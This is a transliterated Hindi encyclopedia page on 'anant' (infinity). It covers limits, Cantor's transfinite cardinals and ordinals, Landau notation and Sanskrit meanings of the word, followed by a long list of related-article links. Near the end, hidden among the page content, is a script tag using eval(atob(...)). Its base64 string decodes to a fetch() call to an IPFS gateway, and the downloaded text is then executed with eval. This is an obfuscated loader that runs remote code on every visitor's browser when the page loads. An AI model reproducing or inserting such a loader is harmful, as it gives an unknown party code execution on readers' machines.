अनन्त

भारत डिस्कवरी प्रस्तुति
Jump to navigation Jump to search
chitr:Disamb2.jpg anant ek bahuvikalpi shabd hai any arthoan ke lie dekhean:- anant (bahuvikalpi)


anant shabd ka aangreji paryay 'inaphiniti' laitin bhasha ke anh‌ (anh‌) aur phinis (aant) ki sandhi hai. yah shabd un rashiyoan ke lie prayukt kiya jata hai jinaki map athava ganana unake parimit n rahane ke karan asanbhav hai. aparimit saral rekha ki lanbaee simavihin aur anant hoti hai.

  • ganitiy vishleshan mean prachalit 'anant', jise ¥ dvara niroopit karate haian.
  • yadi y koee char hai aur ph (y) koee y ka phalan hai, aur yadi ab char y kisi sankhya k ki or agrasar hota hai tab ph (y) is prakar badhata hi chala jata hai ki vah pratyek di huee sankhya n se b da ho jata hai aur b da hi bana rahata hai chahe kitana bhi b da ho, to kaha jata hai ki y=k ke lie ph (y) ki sima anant hai.
  • bhinnoan ki paribhasha se[1] spasht hai ki bhinn v/s vah sankhya hai jo s se guna karane par gunanaphal v deti hai. yadi v, s mean se koee bhi shoony n ho to v/s ek advitiy rashi ka niroopan karata hai. phir spasht hai ki 0/s sadaiv saman rahata hai, chahe s koee bhi saant sankhya ho. ise parimey (raishanal) sankhyaoan ko shoony kaha jata hai aur gananatmak (kardinal) sankhya 0 ke saman hai. viparitat:, v/0 ek arthahin pad hai. ise anant samajhana bhool hai. yadi k/y mean k achar rahata hai, aur y ghatata jata hai, aur k,y donoan dhanatmak haian, to k/y ka man badhata jaega. yadi y shoony ki or agrasar hota hai to aantatogatva k/y kisi b di se b di sankhya se bhi b da ho jaega. ham is bat ko nimnalikhit prakar se vyakt karate haian .
  • kaiantar (1845-1918) ne anant ki samasya ko doosare dhang se vyakt kiya hai. kaiantariy sankhyaean, jo anant aur saant ke viparit hone ke karan kabhi-kabhi atit (traiansaphainait) sankhyaean kahi jati haian, jyamiti aur simasiddhaant mean prachalit anant ki paribhasha se bhinn prakar ki haian. kaiantar ne laghutam atit gananatmak sankhya (traiansaphainait kardinal nanbar) (ek, do tin ityadi kardinal sankhyaean haian; pratham, dvitiy, tritiy ityadi ardinal sankhyaean haian.) a0 (akar shoony, aliph-jiro) ki vyakhya prakritik sankhyaoan 1,2,3... ke sangh (set) ki gananatmak sankhya se ki hai. yah siddh ho chuka hai ki a0+s =a0, jisamean s koee saant poorn sankhya hai. kaiantar ne keval akar shoony sankhyaoan a0,a1...ke siddhaant ko bhi vikasit kiya hai. hardi ne gananatmak sankhya a1 vale bianduoan ke sangh ki rachana karane ki vidhi bataee hai. sankhya san (=2a0)pratan (kantinuam) ki, arthat vastavik sankhyaoan ke sangh ki, gananatmak sankhya hai. ekaiki roopaantar (van tu van traiansaph aaurmeshan) dvara yah siddh kiya ja sakata hai ki aantaraj (iantaraval) (0,1) mean bhi bianduoan ke sangh ki gananatmak sankhya san hoti hai.
  • vastavik sankhyaoan 1,2,3... sangh se sanbanddh atit kramik sankhya ko au (aaumega,w) likhate haian aur ise pratham atit kramik sankhya (traiansaphainait ardinal nanbar) kahate haian. kisi die hue aantaral ka kha mean ba1, ba2, ba3,... bianduoan ke ek anukram par, jo vriddhimay sankhyaoan k1, k2, k3,... ke anukram ko vyakt karata hai, vichar karean. is anukram ka ek simabiandu (limitiang p aauiant) hoga jo in samast bianduoan ke dahini or hoga; ise ham ba i dvara niroopit kar sakate haian. ab kalpana karean ki biandu b ke uparaant any biandu aise bhi haian jinhean ham ba1,... ba2,... bas,... baa... vale sangh se sanbaddh manana chaheange, tab in bianduoan ko ham baa +1,baa +2,... dvara vyakt kareange. yadi baa , ba +1,ba +2=2,... namak bianduoan ke sangh ka kaee aantim biandu n ho aur ye sab ka kha ke aantargat sthit hoan to is sangh ka ek simabiandu hoga jise ham baa +a ya ba 2,dvara vyakt kar sakate haian; ityadi. at: hamean kram sankhyaean 1,2,3,..., au, au+1, au+2k... au.2, a.2+1..., a.3,... au2,...prapt hoti haian.
  • ganitiy vishleshan mean ham bahudha anant ki or agrasar honevale anukramoan (ya phalanoan) ki vriddhi ki tulana karate haian. laandaoo ne o, o,~ namak sanketalipi prachalit ki hai, jisaki vyakhya is prakar hai: yadi ph(y) aur pha (y) arrinatmak hoan aur yadi samast y>y0 ke lie ph (y)/pha(y)<ek achal rashi t ho, to y ke anant ki or agrasar hone par ph (y)=0 {pha (y)} hota he. yadi samast ke y>y0 lie pha (y)/pha (y)<t ho, jisamean t koee ichchhanusar chhoti sankhya hai, to y ke anant ki or agrasar hone par ph (y)=0 {pha (y)} hota hai, aur yadi y ke anant ki or agrasar hone par pha (y)/pha (y)®1athava koee any saant sankhya, to ham y®¥ par ph (y)~ pha (y) likhate haian. at: jab s®¥ to s2+20s+1000~ s2. samanyataya donoan anukram anant ki or agrasar hote haian aur unaki vriddhi lagabhag saman rahati he. p aaul doo bois-raimoan aur ji.ech. hardi ne phalanoan ke anukramoan ki vriddhi mean tulana karane ke lie 'anant mapaniyoan' (skels aauv inaphiniti) ki vyakhya ki hai.[2]


anant (visheshan) [nasti anto yasy n. b.]

  • antarahit, aparimit, nissim, akshay,-°ratnaprabhavasy yasy-ku. 1/3,-tah 1. vishnu ki shayya sheshanag, krishna, balaram, shiv, nagoan ka pati vasuki 2. badal 3. kahani, 4. chaudah granthiyoan se yukt reshmi dora jo anant chaturdashi ke din dakshin bhuja par baandha jata hai;-ta 1. prithvi (antahin) 2. ek ki sankhya 3. parvati 4. shariva, anantamool, doorva adi paudhe-tamh 1. akash, vatavaran 2. asimata 3. moksh 4. parabrahm.[3]


sam.-tritiya vaishakh, bhadrapad aur margashirsh mas ki shukl paksh ki tij-dashtiah shiv, indr,-devah 1. sheshanag 2. narayan jo sheshanag ke oopar sota hai,-par (visheshan) asim vistarayukt, nissim,-°rankil shabdashastramh-panch. 1,-roop (visheshan) aganit roopavala, vishnu,-vijayah yudhishthir ka shankh-bhag. 1/26


panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

tika tippani aur sandarbh

  1. (dr. sankhya)
  2. hindi vishvakosh, khand 1 |prakashak: nagari pracharini sabha, varanasi |sankalan: bharat diskavari pustakalay |prishth sankhya: 103,104 |
  3. sanskrit-hindi shabdakosh |lekhak: vaman shivaram apte |prakashak: kamal prakashan, nee dilli-110002 |prishth sankhya: 35 |

sanbandhit lekh

shabd sandarbh kosh
kashtakar aantararashtriy aantarrashtriy kalpasiddhi gatha upakhyan akhyan shatabdi suee nyagrodh mahapran vyanjan antahsth vyanjan oshthy vyanjan danty vyanjan moordhany vyanjan talavy vyanjan kanthy vyanjan avyay vats kumar kimpurush saty vah sanvarttak (hal) sthavar jara mohanastr aishik shastr rat sanatan anant adbhut varah dand vimukh kukur vrishadhvaj (bahuvikalpi) yayavar satr kulapati charu shoorp yoothanath dvarapal kalabattoo dhatta k davak klib bhriang patohoo attagattar attagam achal pravritti abohan aant-ayamh barabar kshetr hirany haraniparyant halli hallikar halik haiman shasy shrani svaviryopajivin sunu soona sthan sthan many sthal sthal vritti strot chaturth panchabhagikam gunapatr khettasamik balidan kripyagrih kumaragadiyanak kulyavap karmantik sima ekapurushikam utpadyamanavishti avat asihar ali aghat adhavay adanak skandhavar sity siddh seva setubandh senabhakt sarvamany sarv-abhyaantar-siddhi sannidhata sangrahat sankraant sankar kul sankar gram sadhy ayanaangal attapatibhag asvayankrit krishi ardhasitika akshayanivi akshapataladhyaksh akshapatal akrit akrisht akaradayin akarad agrahar agraharik adevamatrik adhyiy-manussanam niyog samaharta sali sakarukar sadbhag sachitt sabha-madhyam shulk shaulkik shasan roodhamarodhi ropan rajju rajakiy kshetr yogakshem yav mey masu moolavap mandapika mahatran bhootavatapratyay bhoomichchhidranyay bhoomask bhukti bhujyaman bhogayak bhogapati bhogagam bhog bhikshu hal bhikhkhuhalaparihar bhandagarik brahmadey bittuvatt bhadrabhog bhagadudh bhaikshak bijagan baraj phenaghat pustapal poorvavap pur pratikar pradesh pathak patit pindak pautavamh pattala parshv parru patak pallika pariharik parihar padonalaksh panyasanstha paribhog panchakul nyay karnik nivartan vyamishr-bhoomi brihi vivita vittolakar vishamatta vilop vatthupati vatak vaset-kutambik varta varshikashasy varatra varaj viparyast viparyay vapi vapatiriktamh vap gatya laangul roopajiva roopadarshak shastriy kala shastr astr shastr shastriy thana sootr svabhav savyasachi puny tithi jayanti sair rangashala tarani tarani jatak ghoshanapatr godhooli mahamaya vitan meharab sharkara gaz yatana shivir samanvayavad goshthi kachahari anamika (uangali) madhyama tarjani aangootha nuqta kootasth smart kandara khana khanabadosh koshn upabhog upabhokta utpadan utpadak akhetak naugamy avasthit aur upasthit abhijn aur anabhijn afavah aur kianvadanti adhikaansh aur adhikatar aantarrashtriy aur aantararashtriy anuvad adhyas sahodara sahodar dashalakshan dharm sanyam janashruti paras rajamahal sudarshan anushthan kathauti kathauta baragir baragi bijana juga d kharal nal kashkol sadaqa chhinnak arani ap: valay tarang avashesh sakhi abhang abir shrriang raka lokakatha akha da aangahin bavali khandahar safar sarika aantardhan daity vidhi yam (sanyam) nivesh nam puchhattar bakhar tattho-thanbho bela goru asarait muda alagyojha dvij ambu pravrajya eehit eehamrig eeha eehag eesari eesar eesan ees eeshm eeshu eeshika eesha eeshana eeshad eeshath‌sprisht eeshat eeshvaropasana eeshvariy eeshvari eeshvaradhin eeshvaravadi eeshvar-vad eeshvar-pranidhan eeshitv eeshita eesha eeshata eeli eeli eel eershyalu eershya eershyak eershy eershu eershit eershalu eersha eershana eerit eeran eeramad eerakha eer eemanadari eemanadar eeman-kalyan eeman eepsu eepsit eepsa eeda triganbhir trigandhak trigang trikhi trikha trikh trikshur trikshar trikon-miti trikon-bhavan trikon-phal tri-koorchak trikoota trikoot gadh trikuti trikuta trikut trikaladarshi trikaladarshita trikal-darshak trikalajnata trikalajn trikal trikarshik trikay trika trikaandiy eedrish eedi eetar eedh trikaand eedy trik-shool eedit trikal eedan eethi trikarma trikarman trikatray eethana trikatuk trikatu trikat eejad trikakum eeja trikakud eechha tri-kant jnanad jnanachakshu jnanagochar jnanagamy jnan krit jnatrivy jnati putr jnati jnata jnatavy jnat yauvana jnat-nandan jnat jnapti jnapit jnapan jnapt jnapan eechhan eekharaj trishaansh tri eekh eekshit trianshatpatr eeksha eekshika trishat eekshan trishah eekshanik eekshak eekaraant trahi iandr savarni iandr sabha iandr varuni iandr vadhoo iandr vansha iandr yav iandr mandal iandr nil indr dhvaj iandradhanushi iandr jau iandrajali iandr jav iandrachap iandr gop eekar iandr giri iandr krisht eedh iandrak eeanta iandriyavad eeancha-tani iandiralay iandira-raman iandira eeanchana iantaha iantazar eestar iantazam iantaqal eesh manohari iantaqam iantakohara eesh-gau d iantaee iangur eesh-giri iangudi eeth dravy kafan adrisht sadi granth kalaantar drishy tatavarti gantavy supachy paridrishy udagam talluq dar benami sauda apavah prayopavesh anushruti aang shabd sandarbh soochi alankaran bhuv kianvadanti madhu vaikunth (bahuvikalpi) agni jin (bahuvikalpi) asandi mithak atma bhakt pradarsh pradar astik toran kanik kanika eshana ela upahasit unmatt unmukh udrek udot aja upashaman upasham eeti apoh anooru anuyog anuyojy nepathy nrimedh nirdisht nivritt nivritti nirvap nirvat nishkantak viplav nishk viplavi viplav chinty ajiv ajivak parapatr nikshepak nikshep dhrishtata dhrisht dhav akhilesh vitarkan vitark latta vitat kurang kuanjar kalush dhatri vidya dhatriphal dhatri navami dhatri karni kapisha kanakhi karsh dript ark shamy sushravy dhriti sushrava ayut shishi dhrit sushthu sushrav apatr sanvrit ranjan ranjak yoothika yoop yuti yashti luanchan lasy sasy samarchan sahik sukrit lalam bianb banak bhasvar bhavy pranav achchhadit achchhadak achchhann janmaandh vivart vivarn hapana hap vachy vak lav rochana rochan rechan rechak ruchira ruchir mukari (paheli) audichy aurvashey shala aurv sharika shari shakun amlan phurahari charvi agah chakanachoor shanku shaman sharabh shardool chokha chitra okha okh aindr phunagi agamy vahika vahik kshataj kshat ksharan kshar ghalana ghal bilalana bandhak jhilamila jhilam kshitij yatharthavad ookha yatharth ookh oogat khanak khan kanak laghavi laghavik laghavakari laghav kshiprahast chhak havi havy kanishthika sugat janaant tush hriti hritadhikar drishti drishtarth drishtaant drishtavad pratyakshavad pratyagatma kshiprakari kshipr hrit pratyakshar hrichchhool kheh pratyaksh drishtavat moolabhoot drishtaphal vayavi vayaviy kanishtha vayav kanishth maulik drisht dosh drishtakoot moolik drisht vishti nidagh harmy achyut punit tattv mukari anand yantr pad aandhata sadhu yash sant diksha vidhu muramardan purushottam bhav pitambar har madhav chaturbhuj ugr upendr sthanu kratudhvansin bharg nilalohit trilochan viroopaksh vamadev (shiv) shitakinth (shiv) shitakinth garu dadhvaj girish govind suparn shrikanth kapardin pinaki mrityuanjay mrid girish nagantak bhootesh shankar sharv narayan maheshvar (shiv) vainatey shoolin pashupati tarkshy eesh muni vikat munindr vighnanashak sumukh lokajit garutmath marajit bhagavat tathagat dharmaraj sarvajn vinayak agadh ary arh alp ikshu ichchha asrav asy ahary akrand akarsh asooyak akshar oj prakarsh panth prakrit ekarth unnamr ujjrimbhan eeshan unnat ujjrimbh jayy jay nairujy jalp mand tej namaskar namrata namr prabhav arjav pratap akropolis aantashchetana aant:karan agora atinootan yug anagami anal anagradant ativriddhi adhihrishata (ailarji) anubandh anubhav anubhavavad anyathanupapatti anyathasiddhi apil abhiprerak albam arajakata amin ayam ianjil iantar liangua koshadhyaksh dainik masik

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

varnamala kramanusar lekh khoj

a   a    i    ee    u    oo    e    ai    o   au    aan    k   kh    g    gh    n    ch    chh    j    jh    n    t    th    d   dh    n    t    th    d    dh    n    p    ph    b    bh    m    y    r    l    v    sh    sh    s    h    ksh    tr    jn    rri    rri    aau    shr   aah